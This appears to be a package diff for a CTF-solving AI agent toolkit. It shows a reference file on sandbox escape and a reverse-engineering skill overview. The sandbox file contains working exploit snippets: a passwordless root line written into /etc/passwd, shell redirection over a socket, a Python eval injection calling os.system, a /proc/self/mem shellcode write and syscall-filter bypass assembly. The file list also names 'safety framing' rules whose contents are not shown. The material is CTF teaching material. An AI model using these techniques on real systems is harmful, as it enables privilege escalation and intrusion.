ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,313 @@
1
+ # CTF Pwn - Sandbox Escape and Restricted Environments
2
+
3
+ ## Table of Contents
4
+ - [Python Sandbox Escape](#python-sandbox-escape)
5
+ - [VM Exploitation (Custom Bytecode)](#vm-exploitation-custom-bytecode)
6
+ - [FUSE/CUSE Character Device Exploitation](#fusecuse-character-device-exploitation)
7
+ - [Busybox/Restricted Shell Escalation](#busyboxrestricted-shell-escalation)
8
+ - [Shell Tricks](#shell-tricks)
9
+ - [Write-Anywhere via /proc/self/mem (BSidesSF 2025)](#write-anywhere-via-procselfmem-bsidessf-2025)
10
+ - [process_vm_readv Failure as Sandbox Escape (0CTF 2016)](#process_vm_readv-failure-as-sandbox-escape-0ctf-2016)
11
+ - [Named Pipe mkfifo for File Size Check Bypass (Nuit du Hack 2016)](#named-pipe-mkfifo-for-file-size-check-bypass-nuit-du-hack-2016)
12
+ - [Lua Integer Underflow via Game Logic (ASIS CTF Finals 2017)](#lua-integer-underflow-via-game-logic-asis-ctf-finals-2017)
13
+ - [CPU Emulator Print Opcode Python eval Injection (Midnight Sun CTF 2018)](#cpu-emulator-print-opcode-python-eval-injection-midnight-sun-ctf-2018)
14
+ - [Unicorn Emulator Syscall Blacklist Bypass via sysenter and Uncommon Syscalls (Meepwn CTF Quals 2018)](#unicorn-emulator-syscall-blacklist-bypass-via-sysenter-and-uncommon-syscalls-meepwn-ctf-quals-2018)
15
+ - [Custom VM swap Pointer Self-Overwrite (HITCON 2018)](#custom-vm-swap-pointer-self-overwrite-hitcon-2018)
16
+
17
+ ---
18
+
19
+ ## Python Sandbox Escape
20
+
21
+ Python jail/sandbox escape techniques (AST bypass, audit hook bypass, MRO-based builtin recovery, decorator chains, restricted charset tricks, and more) are covered comprehensively in the `ctf-misc` skill — invoke `/ctf-misc` for pyjail techniques.
22
+
23
+ ## VM Exploitation (Custom Bytecode)
24
+
25
+ **Pattern (TerViMator, Pragyan 2026):** Custom VM with registers, opcodes, syscalls. Full RELRO + NX + PIE.
26
+
27
+ **Common vulnerabilities in VM syscalls:**
28
+ - **OOB read/write:** `inspect(obj, offset)` and `write_byte(obj, offset, val)` without bounds checking allows read/modify object struct data beyond allocated buffer
29
+ - **Struct overflow via name:** `name(obj, length)` writing directly to object struct allows overflowing into adjacent struct fields
30
+
31
+ **Exploitation pattern:**
32
+ 1. Allocate two objects (data + exec)
33
+ 2. Use OOB `inspect` to read exec object's XOR-encoded function pointer to leak PIE base
34
+ 3. Use `name` overflow to rewrite exec object's pointer with `win() ^ KEY`
35
+ 4. `execute(obj)` decodes and calls the patched function pointer
36
+
37
+ ## FUSE/CUSE Character Device Exploitation
38
+
39
+ **FUSE** (Filesystem in Userspace) / **CUSE** (Character device in Userspace)
40
+
41
+ **Key insight:** FUSE/CUSE devices run handler code in userspace with the permissions of the device daemon. If the daemon runs as root and exposes a command interface via the write handler, any user who can write to the device file gains root-level operations (chmod, file read/write).
42
+
43
+ **Identification:**
44
+ - Look for `cuse_lowlevel_main()` or `fuse_main()` calls
45
+ - Device operations struct with `open`, `read`, `write` handlers
46
+ - Device name registered via `DEVNAME=backdoor` or similar
47
+
48
+ **Common vulnerability patterns:**
49
+ ```c
50
+ // Backdoor pattern: write handler with command parsing
51
+ void backdoor_write(const char *input, size_t len) {
52
+ char *cmd = strtok(input, ":");
53
+ char *file = strtok(NULL, ":");
54
+ char *mode = strtok(NULL, ":");
55
+ if (!strcmp(cmd, "b4ckd00r")) {
56
+ chmod(file, atoi(mode)); // Arbitrary chmod!
57
+ }
58
+ }
59
+ ```
60
+
61
+ **Exploitation:**
62
+ ```bash
63
+ # Change /etc/passwd permissions via custom device
64
+ echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
65
+
66
+ # 511 decimal = 0777 octal (rwx for all)
67
+ # Now modify passwd to get root
68
+ echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
69
+ su root
70
+ ```
71
+
72
+ **Privilege escalation via passwd modification:**
73
+ 1. Make `/etc/passwd` writable via the backdoor
74
+ 2. Replace root line with `root::0:0:root:/root:/bin/sh` (no password)
75
+ 3. `su root` without password prompt
76
+
77
+ ## Busybox/Restricted Shell Escalation
78
+
79
+ When in restricted environment without sudo:
80
+ 1. Find writable paths via character devices
81
+ 2. Target system files: `/etc/passwd`, `/etc/shadow`, `/etc/sudoers`
82
+ 3. Modify permissions then content to gain root
83
+
84
+ **Key insight:** In restricted environments without sudo, look for custom character devices (`/dev/backdoor`) or writable system files. Any write primitive to `/etc/passwd` (remove root's password hash) or `/etc/sudoers` (add NOPASSWD entry) gives root.
85
+
86
+ ## Shell Tricks
87
+
88
+ **File descriptor redirection (no reverse shell needed):**
89
+ ```bash
90
+ # Redirect stdin/stdout to client socket (fd 3 common for network)
91
+ exec <&3; sh >&3 2>&3
92
+
93
+ # Or as single command string
94
+ exec<&3;sh>&3
95
+ ```
96
+ - Network servers often have client connection on fd 3
97
+ - Avoids firewall issues with outbound connections
98
+ - Works when you have command exec but limited chars
99
+
100
+ **Find correct fd:**
101
+ ```bash
102
+ ls -la /proc/self/fd # List open file descriptors
103
+ ```
104
+
105
+ **Short shellcode alternatives:**
106
+ - `sh<&3 >&3` - minimal shell redirect
107
+ - Use `$0` instead of `sh` in some shells
108
+
109
+ **Key insight:** Network servers typically have the client socket on fd 3. Redirecting stdin/stdout to this fd (`exec <&3; sh >&3 2>&3`) gives an interactive shell over the existing connection without needing outbound connectivity for a reverse shell.
110
+
111
+ ---
112
+
113
+ ## Write-Anywhere via /proc/self/mem (BSidesSF 2025)
114
+
115
+ When a service allows writing to arbitrary files at arbitrary offsets, target `/proc/self/mem` for code injection:
116
+
117
+ ```python
118
+ from pwn import *
119
+
120
+ # Service API: send filename, offset, content
121
+ def write_mem(r, offset, data):
122
+ r.sendline(b'/proc/self/mem')
123
+ r.sendline(str(offset).encode())
124
+ r.sendline(data)
125
+
126
+ # 1. Leak a return address from the stack (or use known binary address)
127
+ # 2. Write shellcode to a writable+executable region (or reuse existing code)
128
+ # 3. Overwrite return address to point to shellcode
129
+
130
+ shellcode = asm(shellcraft.sh())
131
+
132
+ r = remote(host, port)
133
+ # Overwrite code at known address (e.g., after close@plt returns)
134
+ write_mem(r, target_code_addr, shellcode)
135
+ ```
136
+
137
+ **Key insight:** `/proc/self/mem` provides random-access read/write to the process's virtual memory, bypassing page protections that mmap enforces. Writing to text segments (code) works even when the segment is mapped read-only via normal mmap -- the kernel performs the write through the page tables directly. This makes it equivalent to a debugger `PTRACE_POKETEXT`.
138
+
139
+ **Requirements:** File write primitive must handle binary data (null bytes). The target offset must be a valid mapped virtual address.
140
+
141
+ ---
142
+
143
+ ### process_vm_readv Failure as Sandbox Escape (0CTF 2016)
144
+
145
+ **Pattern:** Sandbox validates file paths by calling `process_vm_readv()` then `realpath()`. By mapping memory with `PROT_READ` only (not remotely readable by `process_vm_readv` from the sandbox process), path validation fails silently, bypassing the check.
146
+
147
+ ```c
148
+ // Create memory at fixed address with only read permission
149
+ mmap(0x13370000, 0x1000, PROT_READ, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
150
+ // Store path string there -- sandbox's process_vm_readv fails
151
+ // realpath() also fails -- path check bypassed entirely
152
+ // Then: open("/flag") succeeds through the sandbox
153
+ ```
154
+
155
+ **Key insight:** Sandbox path validation using `process_vm_readv` assumes validation will succeed or deny. The failure case (unreadable memory) is unhandled, creating a bypass. The sandboxed process can read its own memory normally, but the supervisor process cannot read it via `process_vm_readv`.
156
+
157
+ **References:** 0CTF 2016
158
+
159
+ ---
160
+
161
+ ### Named Pipe mkfifo for File Size Check Bypass (Nuit du Hack 2016)
162
+
163
+ **Pattern:** Binary reads a file and checks its size before processing. Named pipes (FIFOs) report `st_size = 0` via `stat()` but deliver arbitrary data when read, bypassing size-based overflow prevention.
164
+
165
+ ```bash
166
+ mkfifo /tmp/payload_pipe
167
+ # In background, feed overflow payload to the pipe
168
+ cat exploit_data > /tmp/payload_pipe &
169
+ # Binary sees size=0, skips bounds check, reads arbitrary data
170
+ ./vulnerable_binary /tmp/payload_pipe
171
+ ```
172
+
173
+ Combine with symlinks for string reuse: `ln -s /flag arena.c` uses an existing string in the binary as the target filename for a ROP chain.
174
+
175
+ **Key insight:** Named pipes always report `st_size = 0` in `stat()`, bypassing any size-based buffer allocation or bounds checks while delivering arbitrary-length data via `read()`. Any binary that uses `stat()` to pre-allocate or validate before `read()` is vulnerable.
176
+
177
+ **References:** Nuit du Hack 2016
178
+
179
+ ---
180
+
181
+ ### Lua Integer Underflow via Game Logic (ASIS CTF Finals 2017)
182
+
183
+ **Pattern:** Text-based game (written in Lua) with inventory management. Two independent percentage reductions are applied sequentially to the same value without capping the combined result: a 100% decay applied first zeros the inventory, then a 10% penalty applied to the already-zero value causes an integer underflow below zero. Selling the underflowed items generates unlimited money (the game treats a large negative count as a large positive sale value or wraps to unsigned max).
184
+
185
+ **Vulnerable logic:**
186
+ ```lua
187
+ -- Applied sequentially, no combined-total check:
188
+ inventory = inventory - math.floor(inventory * 0.10) -- 10% penalty first
189
+ inventory = inventory - math.floor(inventory * 1.00) -- 100% decay = zeroed
190
+
191
+ -- If applied in the other order, or combined:
192
+ -- 100% decay → inventory = 0
193
+ -- 10% of 0 = 0 → total reduction = 100%, no underflow
194
+
195
+ -- But with uncapped sequential application:
196
+ -- Step 1: inventory -= inventory * decay_rate (e.g., decay=100% → 0)
197
+ -- Step 2: inventory -= extra_penalty (penalty on already-zero → negative)
198
+ -- Result: inventory = -penalty_amount (wraps or treated as large positive)
199
+ ```
200
+
201
+ **Exploitation:**
202
+ ```python
203
+ # 1. Identify the two independent reduction events in the game loop
204
+ # (e.g., end-of-round decay AND a transaction penalty)
205
+ # 2. Trigger both in the same game tick without intermediate capping
206
+ # 3. Verify inventory went negative (may display as large number or 0 + debt)
207
+ # 4. Sell the underflowed items: game calculates price * negative_count
208
+ # → negative total, or wraps to huge positive → unlimited currency
209
+ # 5. Use unlimited currency to purchase the flag item
210
+ ```
211
+
212
+ **Key insight:** Business logic bugs in game economies create integer underflows without any memory corruption — two uncapped percentage reductions exceeding 100% underflow the target variable. Look for any game mechanic that applies multiple independent percentage modifications to the same integer value in the same tick.
213
+
214
+ **References:** ASIS CTF Finals 2017
215
+
216
+ ---
217
+
218
+ ### CPU Emulator Print Opcode Python eval Injection (Midnight Sun CTF 2018)
219
+
220
+ **Pattern:** Custom CPU emulator's print function uses `eval('"' + string_buffer + '"')` to process escape sequences in the output. Build a string in emulator memory character-by-character using ADD opcodes, then inject: `"+__import__("os").system("cmd")#` to escape the string literal and execute arbitrary Python.
221
+
222
+ **Exploitation strategy:**
223
+ 1. The emulator implements a custom instruction set with ADD, MOV, PRINT, etc.
224
+ 2. The PRINT opcode reads a string from emulator memory and passes it to `eval('"' + s + '"')` to handle escape sequences like `\n`, `\t`
225
+ 3. Use ADD opcodes to build the injection string character-by-character in emulator memory
226
+ 4. The injected string `"+__import__("os").system("cmd")#` closes the opening quote, concatenates with `__import__("os").system()`, and `#` comments out the trailing quote
227
+
228
+ ```python
229
+ from pwn import *
230
+
231
+ # Emulator opcodes (example encoding)
232
+ ADD = 0x01 # ADD addr, immediate_byte
233
+ PRINT = 0x58 # Print string from memory (triggers eval)
234
+
235
+ def build_char(c):
236
+ """Generate ADD opcodes to set a memory byte to character c"""
237
+ addr = current_mem_ptr()
238
+ return bytes([ADD, addr, ord(c)])
239
+
240
+ # Build injection payload in emulator memory
241
+ cmd = "cat /flag"
242
+ injection = '''"+__import__("os").system("%s")#''' % cmd
243
+
244
+ program = b""
245
+ for c in injection:
246
+ program += build_char(c)
247
+
248
+ # Trigger PRINT opcode -> eval('"' + injection + '"')
249
+ # eval becomes: eval('""+__import__("os").system("cat /flag")#"')
250
+ # The # comments out the trailing quote
251
+ program += bytes([PRINT, 0x00]) # PRINT from address 0
252
+
253
+ io = remote('target', 1337)
254
+ io.send(program)
255
+ io.interactive()
256
+ ```
257
+
258
+ **Key insight:** When an emulator or interpreter uses `eval()` to process string output (e.g., for escape sequences), inject a quote to close the string literal, then chain arbitrary Python code. The `#` comment character truncates any trailing syntax. This is a classic eval injection -- the emulator trusts its own memory contents, but the attacker controls memory via normal CPU opcodes.
259
+
260
+ **References:** Midnight Sun CTF 2018
261
+
262
+ ---
263
+
264
+ ### Unicorn Emulator Syscall Blacklist Bypass via sysenter and Uncommon Syscalls (Meepwn CTF Quals 2018)
265
+
266
+ **Pattern:** A Unicorn-based shellcode runner hooks `UC_HOOK_INSN` for `int 0x80` and `UC_HOOK_MEM_*` to block forbidden syscall numbers (execve, read, write, mmap). The filter only covers the `int 0x80` entry and the handful of syscalls the authors thought of.
267
+
268
+ **Bypass:**
269
+ 1. Use `sysenter` instead of `int 0x80` — Unicorn's `INT` hook does not fire on the fast entry path.
270
+ 2. Use functionally equivalent syscalls that are not on the blacklist:
271
+ - `dup3` instead of `dup2`
272
+ - `openat` instead of `open`
273
+ - `pread64` instead of `read`
274
+ - `sendfile` to move a file descriptor's contents straight to another fd without touching `write`
275
+ 3. Stage the payload so the final stage is `execve("/bin/sh", ...)` via `sys_socketcall` (opcode `0x66`) + crafted syscall-mode transition, if even `execve` is in the blacklist.
276
+
277
+ ```asm
278
+ ; Swap file from /flag to stdout without read/write
279
+ mov eax, 0x123 ; __NR_openat
280
+ mov ebx, -100 ; AT_FDCWD
281
+ lea ecx, [flag_path]
282
+ xor edx, edx
283
+ sysenter ; NOT int 0x80 — bypasses Unicorn INT hook
284
+
285
+ ; fd is now in eax
286
+ mov ebx, eax ; src fd
287
+ mov ecx, 1 ; dst fd (stdout)
288
+ xor edx, edx ; NULL offset
289
+ mov esi, 0x1000 ; count
290
+ mov eax, 0xbb ; __NR_sendfile
291
+ sysenter
292
+ ```
293
+
294
+ **Key insight:** Instruction-level filters in Unicorn hook specific opcodes. If the filter only watches `int 0x80`, any other syscall entry (`sysenter`, `syscall`, `int 0x2e` on x86-32 test builds) slips through. Always enumerate functionally equivalent syscalls: `dup3/openat/pread64/sendfile/writev/mmap2` cover almost everything a blacklist of `execve/read/write/mmap` forgets.
295
+
296
+ **References:** Meepwn CTF Quals 2018 — writeups 10415, 10428
297
+
298
+ ---
299
+
300
+ ## Custom VM swap Pointer Self-Overwrite (HITCON 2018)
301
+
302
+ **Pattern:** A custom VM exposes a `swap(a, b)` instruction that reads two stack indices relative to the saved `sp`. If the VM never validates that `sp_nxt` is within bounds, calling `swap(-1, 0)` or `swap(-2, -1)` addresses the internal `sp_nxt` itself and exchanges it with a stack slot. Subsequent instructions then operate on arbitrary memory.
303
+
304
+ ```text
305
+ swap(-1, 0) # treats &sp_nxt as stack[-1]; swaps sp_nxt <-> stack[0]
306
+ # sp_nxt now points wherever stack[0] used to; writes go anywhere
307
+ ```
308
+
309
+ Chain with a `push` that stores shellcode bytes at the new pointer, then redirect a function pointer from the VM's dispatch table to the shellcode region.
310
+
311
+ **Key insight:** Any VM primitive that rewrites its own state pointer is an immediate arbitrary-write primitive. Always probe VM opcodes for boundary conditions where the stack pointer itself is addressable.
312
+
313
+ **References:** HITCON CTF 2018 — Abyss I, writeups 11918-11919
@@ -0,0 +1,163 @@
1
+ ---
2
+ name: ctf-reverse
3
+ description: Provides reverse engineering and static/dynamic binary analysis techniques for educational CTF challenges. Use when analyzing compiled, obfuscated, packed, or virtualized challenge targets, including binaries, APKs, WASM, firmware, custom VMs, bytecode, game clients, and anti-analysis logic. Do not use it when the vulnerability is already understood and the remaining task is binary verification; use pwn instead. Do not use it for pure web workflows, log or disk forensics, or standalone crypto problems.
4
+ license: MIT
5
+ compatibility: Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
6
+ allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch
7
+ metadata:
8
+ user-invocable: "false"
9
+ ---
10
+
11
+ # CTF Reverse Engineering
12
+
13
+ Quick reference for RE challenges. For detailed techniques, see supporting files.
14
+
15
+ ## Prerequisites & Tooling
16
+
17
+ Pre-installed via [scripts/install_ctf_tools.sh](../../scripts/install_ctf_tools.sh):
18
+ - **Python packages**: `frida-tools`, `angr`, `qiling`, `uncompyle6`, `capstone`, `lief`, `z3-solver` (in `~/.ctf-tools/venv`)
19
+ - **System binaries**: `gdb`, `radare2` (`r2`), `binutils` (`objdump`, `readelf`, `nm`), `strace`, `ltrace`, `apktool`, `upx`
20
+ - **Manual tools**: `pwndbg`, `pycdc` (Python 3.9+ bytecode decompiler)
21
+
22
+ ## Execution Environment & Tool Invocation
23
+
24
+ - **On Windows (WSL Kali Linux)**:
25
+ - Run reverse engineering, unpacking, and disassembly tools inside WSL:
26
+ ```bash
27
+ wsl -d kali-linux bash -c "r2 -A ./binary"
28
+ wsl -d kali-linux bash -c "apktool d app.apk -o output_dir"
29
+ wsl -d kali-linux bash -c "source ~/.ctf-tools/venv/bin/activate && python3 solve_angr.py"
30
+ ```
31
+ - **On Native Linux / WSL**:
32
+ - Activate the CTF virtualenv:
33
+ ```bash
34
+ source ~/.ctf-tools/venv/bin/activate
35
+ ```
36
+ - Use `r2`, `gdb`, `apktool`, `upx`, and Python with `angr` / `qiling` / `frida` directly.
37
+
38
+ ## Additional Resources
39
+
40
+ - [tools.md](tools.md) - Static analysis tools (GDB, Ghidra, radare2, IDA, Binary Ninja, dogbolt.org, RISC-V with Capstone, Unicorn emulation, Python bytecode, WASM, Android APK, .NET, packed binaries)
41
+ - [tools-dynamic.md](tools-dynamic.md) - Dynamic analysis tools: Frida (hooking, anti-debug bypass, memory scanning, Android/iOS), angr symbolic execution (path exploration, constraints, CFG), lldb (macOS/LLVM debugger), x64dbg (Windows)
42
+ - [tools-emulation.md](tools-emulation.md) - Emulation frameworks and side-channel tooling: Qiling (cross-platform OS-level emulation), Triton (DSE), Intel Pin instruction-counting + genetic algorithm side channel, opcode-only trace reconstruction, LD_PRELOAD time freeze and memcmp side-channel for byte-by-byte bruteforce
43
+ - [tools-advanced.md](tools-advanced.md) - Advanced tools (Part 1): VMProtect/Themida analysis, binary diffing (BinDiff, Diaphora), deobfuscation frameworks (D-810, GOOMBA, Miasm), Qiling framework, Triton DSE, Manticore, Rizin/Cutter, RetDec, custom VM bytecode lifting to LLVM IR
44
+ - [tools-advanced-2.md](tools-advanced-2.md) - Advanced tools (Part 2): advanced GDB (Python scripting, brute-force, conditional breakpoints, watchpoints, reverse debugging with rr, pwndbg/GEF), advanced Ghidra scripting, patching (Binary Ninja API, LIEF), GDB constraint extraction + ILP solver (BackdoorCTF 2017), GDB position-encoded input zero flag monitoring (EKOPARTY 2017), LD_PRELOAD execute-only binary dump (BackdoorCTF 2017), PEDA current_inst bit-by-bit flag scraper (CONFidence CTF 2019 Teaser)
45
+ - [anti-analysis.md](anti-analysis.md) - Anti-analysis taxonomy: Linux anti-debug (ptrace, /proc, timing, signals, direct syscalls), Windows anti-debug (PEB, NtQueryInformationProcess, heap flags, TLS callbacks, HW/SW breakpoint detection, exception-based, thread hiding), anti-VM/sandbox (CPUID, MAC, timing, artifacts, resources), anti-DBI (Frida detection/bypass), code integrity/self-hashing, anti-disassembly (opaque predicates, junk bytes), MBA identification/simplification, comprehensive bypass strategies
46
+ - [anti-analysis-ctf.md](anti-analysis-ctf.md) - CTF writeup techniques: SIGILL handler for execution mode switching (Hack.lu 2015), SIGFPE signal handler side-channel via strace counting (PlaidCTF 2017), instruction trace inversion with Keystone and Unicorn (MeePwn 2017), call-less function chaining via stack frame manipulation (THC 2018), parent-patched child binary dump via `process_vm_writev` (Google CTF Quals 2018)
47
+ - [patterns.md](patterns.md) - Foundational binary patterns: custom VMs, anti-debugging, nanomites, self-modifying code, XOR ciphers, mixed-mode stagers, LLVM obfuscation, S-box/keystream, SECCOMP/BPF, exception handlers, memory dumps, byte-wise transforms, x86-64 gotchas, custom mangle reversing, position-based transforms, hex-encoded string comparison, signal-based binary exploration
48
+ - [patterns-runtime.md](patterns-runtime.md) - Runtime patching and oracle techniques: malware anti-analysis bypass, multi-stage shellcode loaders, timing side-channel attacks, multi-thread anti-debug with decoy + signal handler MBA (ApoorvCTF 2026), INT3 patch + coredump brute-force oracle (Pwn2Win 2016), signal handler chain + LD_PRELOAD oracle (Nuit du Hack 2016), printf format string VM decompilation to Z3 (SECCON 2017), quadtree recursive image format parser (Google CTF Quals 2018)
49
+ - [patterns-ctf.md](patterns-ctf.md) - Competition-specific patterns (Part 1): hidden emulator opcodes, LD_PRELOAD key extraction, SPN static extraction, image XOR smoothness, byte-at-a-time cipher, mathematical convergence bitmap, Windows PE XOR bitmap OCR, two-stage RC4+VM loaders, GBA ROM meet-in-the-middle, Sprague-Grundy game theory, kernel module maze solving, multi-threaded VM channels, backdoored shared library detection via string diffing, custom binfmt kernel module with RC4 flat binaries, hash-resolved imports / no-import ransomware, ELF section header corruption for anti-analysis
50
